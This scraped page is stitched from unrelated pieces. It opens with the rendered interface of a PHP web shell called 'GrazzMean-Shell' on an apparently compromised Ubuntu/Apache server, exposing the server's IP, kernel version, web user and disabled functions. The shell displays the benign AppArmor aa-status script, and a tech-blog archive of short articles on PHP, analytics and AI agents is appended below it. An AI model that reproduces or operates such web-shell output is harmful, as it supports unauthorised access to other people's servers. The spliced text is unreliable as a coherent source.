shell bypass 403

GrazzMean-Shell Shell

: /sbin/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 18.224.38.176
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : aa-status
#! /usr/bin/python3
# ------------------------------------------------------------------
#
#    Copyright (C) 2005-2006 Novell/SUSE
#    Copyright (C) 2011 Canonical Ltd.
#
#    This program is free software; you can redistribute it and/or
#    modify it under the terms of version 2 of the GNU General Public
#    License published by the Free Software Foundation.
#
# ------------------------------------------------------------------

import re, os, sys, errno, json

# PLEASE NOTE: we try to keep aa-status as minimal as possible, for
# environments where installing all of the python utils and python
# apparmor module may not make sense. Please think carefully before
# importing anything from apparmor; see how the apparmor.fail import is
# handled below.

# setup exception handling
try:
    from apparmor.fail import enable_aa_exception_handler
    enable_aa_exception_handler()
except ImportError:
    # just let normal python exceptions happen (LP: #1480492)
    pass

def cmd_enabled():
    '''Returns error code if AppArmor is not enabled'''
    if get_profiles() == {}:
        sys.exit(2)

def cmd_profiled():
    '''Prints the number of loaded profiles'''
    profiles = get_profiles()
    sys.stdout.write("%d\n" % len(profiles))
    if profiles == {}:
        sys.exit(2)

def cmd_enforced():
    '''Prints the number of loaded enforcing profiles'''
    profiles = get_profiles()
    sys.stdout.write("%d\n" % len(filter_profiles(profiles, 'enforce')))
    if profiles == {}:
        sys.exit(2)

def cmd_complaining():
    '''Prints the number of loaded non-enforcing profiles'''
    profiles = get_profiles()
    sys.stdout.write("%d\n" % len(filter_profiles(profiles, 'complain')))
    if profiles == {}:
        sys.exit(2)

def cmd_verbose():
    '''Displays multiple data points about loaded profile set'''
    global verbose
    verbose = True
    profiles = get_profiles()
    processes = get_processes(profiles)

    stdmsg("%d profiles are loaded." % len(profiles))
    for status in ('enforce', 'complain'):
        filtered_profiles = filter_profiles(profiles, status)
        stdmsg("%d profiles are in %s mode." % (len(filtered_profiles), status))
        for item in filtered_profiles:
                stdmsg("   %s" % item)

    stdmsg("%d processes have profiles defined." % len(processes))
    for status in ('enforce', 'complain', 'unconfined'):
        filtered_processes = filter_processes(processes, status)
        if status == 'unconfined':
            stdmsg("%d processes are unconfined but have a profile defined." % len(filtered_processes))
        else:
            stdmsg("%d processes are in %s mode." % (len(filtered_processes), status))
        # Sort by name, and then by pid
        filtered_processes.sort(key=lambda x: int(x[0]))
        filtered_processes.sort(key=lambda x: x[1])
        for (pid, profile, exe) in filtered_processes:
            if exe == profile:
                profile = ""
            stdmsg("   %s (%s) %s" % (exe, pid, profile))

    if profiles == {}:
        sys.exit(2)

def cmd_json(pretty_output=False):
    '''Outputs multiple data points about loaded profile set in a machine-readable JSON format'''
    global verbose
    profiles = get_profiles()
    processes = get_processes(profiles)

    i = {
        'version': '1',
        'profiles': {},
        'processes': {}
    }

    for status in ('enforce', 'complain'):
        filtered_profiles = filter_profiles(profiles, status)
        for item in filtered_profiles:
            i['profiles'][item] = status

    for status in ('enforce', 'complain', 'unconfined'):
        filtered_processes = filter_processes(processes, status)
        for (pid, profile, exe) in filtered_processes:
            if exe not in i['processes']:
                i['processes'][exe] = []

            i['processes'][exe].append({
                'profile': profile,
                'pid': pid,
                'status': status
            })

    if pretty_output:
        sys.stdout.write(json.dumps(i, sort_keys=True, indent=4, separators=(',', ': ')))
    else:
        sys.stdout.write(json.dumps(i))

def cmd_pretty_json():
    cmd_json(True)

def get_profiles():
    '''Fetch loaded profiles'''

    profiles = {}

    if os.path.exists("/sys/module/apparmor"):
        stdmsg("apparmor module is loaded.")
    else:
        errormsg("apparmor module is not loaded.")
        sys.exit(1)

    apparmorfs = find_apparmorfs()
    if not apparmorfs:
        errormsg("apparmor filesystem is not mounted.")
        sys.exit(3)

    apparmor_profiles = os.path.join(apparmorfs, "profiles")
    try:
        f = open(apparmor_profiles)
    except IOError as e:
        if e.errno == errno.EACCES:
            errormsg("You do not have enough privilege to read the profile set.")
        else:
            errormsg("Could not open %s: %s" % (apparmor_profiles, os.strerror(e.errno)))
        sys.exit(4)

    for p in f.readlines():
        match = re.search("^([^\(]+)\s+\((\w+)\)$", p)
        profiles[match.group(1)] = match.group(2)

    f.close()

    return profiles

def get_processes(profiles):
    '''Fetch process list'''
    processes = {}
    contents = os.listdir("/proc")
    for filename in contents:
        if filename.isdigit():
            try:
                for p in open("/proc/%s/attr/current" % filename).readlines():
                    match = re.search("^([^\(]+)\s+\((\w+)\)$", p)
                    exe = os.path.realpath("/proc/%s/exe" % filename)
                    if match:
                        processes[filename] = { 'profile' : match.group(1), \
                                                'exe': exe, \
                                                'mode' : match.group(2) }
                    elif exe in profiles:
                        # keep only unconfined processes that have a profile defined
                        processes[filename] = { 'profile' : exe, \
                                                'exe': exe, \
                                                'mode' : 'unconfined' }
            except:
                pass
    return processes

def filter_profiles(profiles, status):
    '''Return a list of profiles that have a particular status'''
    filtered = []
    for key, value in list(profiles.items()):
        if value == status:
            filtered.append(key)
    filtered.sort()
    return filtered

def filter_processes(processes, status):
    '''Return a list of processes that have a particular status'''
    filtered = []
    for key, value in list(processes.items()):
        if value['mode'] == status:
            filtered.append([key, value['profile'], value['exe']])
    return filtered

def find_apparmorfs():
    '''Finds AppArmor mount point'''
    for p in open("/proc/mounts","rb").readlines():
        if p.split()[2].decode() == "securityfs" and \
           os.path.exists(os.path.join(p.split()[1].decode(), "apparmor")):
            return os.path.join(p.split()[1].decode(), "apparmor")
    return False

def errormsg(message):
    '''Prints to stderr if verbose mode is on'''
    global verbose
    if verbose:
        sys.stderr.write(message + "\n")

def stdmsg(message):
    '''Prints to stdout if verbose mode is on'''
    global verbose
    if verbose:
        sys.stdout.write(message + "\n")

def print_usage():
    '''Print usage information'''
    sys.stdout.write('''Usage: %s [OPTIONS]
Displays various information about the currently loaded AppArmor policy.
OPTIONS (one only):
  --enabled       returns error code if AppArmor not enabled
  --profiled      prints the number of loaded policies
  --enforced      prints the number of loaded enforcing policies
  --complaining   prints the number of loaded non-enforcing policies
  --json          displays multiple data points in machine-readable JSON format
  --pretty-json   same data as --json, formatted for human consumption as well
  --verbose       (default) displays multiple data points about loaded policy set
  --help          this message
''' % sys.argv[0])

# Main
global verbose
verbose = False

if len(sys.argv) > 2:
    sys.stderr.write("Error: Too many options.\n")
    print_usage()
    sys.exit(1)
elif len(sys.argv) == 2:
    cmd = sys.argv.pop(1)
else:
    cmd = '--verbose'

# Command dispatch:
commands = {
    '--enabled'      : cmd_enabled,
    '--profiled'     : cmd_profiled,
    '--enforced'     : cmd_enforced,
    '--complaining'  : cmd_complaining,
    '--json'         : cmd_json,
    '--pretty-json'  : cmd_pretty_json,
    '--verbose'      : cmd_verbose,
    '-v'             : cmd_verbose,
    '--help'         : print_usage,
    '-h'             : print_usage
}

if cmd in commands:
    commands[cmd]()
    sys.exit(0)
else:
    sys.stderr.write("Error: Invalid command.\n")
    print_usage()
    sys.exit(1)

© 2025 GrazzMean-Shell
January 2023 - Page 8 of 22 - Michigan AI Application Development - Best Microsoft C# Developers & Technologists

Tech Blog

Tech Insights, Information, and Inspiration
Guide to Journey Mapping

Guide to Journey Mapping

Journey mapping is a process of visualizing the customer experience. It involves mapping out the customer’s interactions with a product or service, from their initial discovery to their eventual decision to purchase. The journey map is then used to identify areas of improvement, opportunities for innovation and potential areas of customer frustration.

Choosing a PHP Framework

Choosing a PHP Framework

PHP frameworks are software packages that provide a universal development platform for creating web applications. These frameworks are designed to streamline application development, reduce the time and cost of development and simplify the process of coding. As a result, they are widely used by both professional developers and hobbyists alike.

Google Analytics 4

Google Analytics 4

Google Analytics 4 is the latest version of Google’s popular web analytics platform. This version of Google Analytics includes new features and capabilities, such as improved data management, machine learning-powered insights, and enhanced tracking capabilities. It also offers a more intuitive user interface and better integration with other Google products and services. Overall, Google Analytics 4 is intended to provide businesses with a more comprehensive and useful view of their website performance and user behavior.

PHP vs Python for Web Development

PHP vs Python for Web Development

Both PHP and Python are used in web development, and they each have their own advantages and disadvantages. PHP is often used for simpler, smaller projects, while Python is better suited for more complex, larger projects. Python is more versatile and powerful than PHP, but it is also more difficult to learn. PHP is easy to learn, but it is not as powerful or versatile as Python.

PandaDoc Pipedrive Integration

PandaDoc Pipedrive Integration

Pandadoc and Pipedrive integration allows businesses to streamline their workflow and automate their document processes. By combining the two platforms, businesses can easily sync their customer data between the two, automatically generate personalized documents, and track performance and progress. This integration helps businesses save time and energy, while also providing them with a more efficient and organized way of managing their documents.

Bridging the Gap Between Business and Technology

Bridging the Gap Between Business and Technology

Bridging the gap between business and technology is essential if an organization wants to remain competitive. The primary goal of bridging the gap between business and technology is to ensure that the technology is utilized to its fullest potential. This can be done by understanding the objectives of the business and how technology can help achieve those goals. It is important to ensure that the technology is used in a way that is cost-effective, reliable and scalable.

Get In Touch

15 + 6 =

UseTech Design, LLC
TROY, MI • BLOOMFIELD HILLS, MI
Call or text +1(734) 367-4100

Approaching AI: How Today’s Businesses Can Harness Its Capabilities

Artificial Intelligence (AI) has transitioned from being a speculative concept in science fiction to a transformative force across numerous industries. Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

AI Agents: Bridging the Gap Between Technology and Real-World Applications

Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

Utilizing AI Agents for Effective Legacy Code Modernization

As companies strive to keep pace with innovation, the modernization of legacy code becomes imperative. Artificial Intelligence (AI) agents offer a compelling solution to this problem, providing sophisticated tools and methodologies to facilitate the transition from legacy systems to modern architectures.

Embracing the Future: How AI Agents Will Change Everything

The future with AI agent technology holds immense promise for transforming our world in profound and unprecedented ways. From personalized experiences and seamless integration into daily life to empowering human-computer collaboration and revolutionizing healthcare, AI agents are poised to redefine the way we live, work, and interact with technology.

AI Agents vs. Traditional Customer Support: A Comparative Analysis

While traditional support offers a human touch and emotional connection, AI agents provide scalability, efficiency, and 24/7 availability. Moving forward, businesses must carefully assess their unique needs and customer expectations to determine the optimal balance between AI-driven automation and human interaction.

The Future of Business Intelligence: AI Solutions for Data-driven Decision Making

The future of business intelligence is AI-powered, where data becomes not just a strategic asset but a competitive advantage. In today’s hyper-connected digital world, data has become the lifeblood of business operations. Every click, purchase, and interaction generates valuable information that, when analyzed effectively, can provide crucial insights for strategic decision-making.

Democratized AI: Making Artificial Intelligence Accessible to All

Democratized AI has the potential to revolutionize industries and improve society by making AI technologies more accessible and inclusive. However, it also presents challenges such as data privacy, bias, and ethical considerations that must be addressed to ensure responsible implementation.

Explainable AI (XAI): Techniques and Methodologies within the Field of AI

Imagine a black box. You feed data into it, and it spits out a decision. That’s how many AI systems have traditionally functioned. This lack of transparency can be problematic, especially when it comes to trusting the AI’s reasoning. This is where Explainable AI (XAI) comes in.

Building an AI-Ready Workforce: Key Skills and Training Strategies

As artificial intelligence (AI) continues to transform industries and reshape the employment landscape, the demand for a skilled AI-ready workforce intensifies. Organizations across various sectors are recognizing the imperative of equipping their employees with the necessary skills and knowledge to thrive in an AI-driven world.

Working Together: Approaches to Multi-agent Collaboration in AI

Imagine a team of specialists – a data whiz, a communication expert, and an action master – all working in sync. This is the power of multi-agent collaboration, with the potential to revolutionize fields like scientific discovery, robotics, and self-driving cars. But getting these AI agents to collaborate effectively presents unique challenges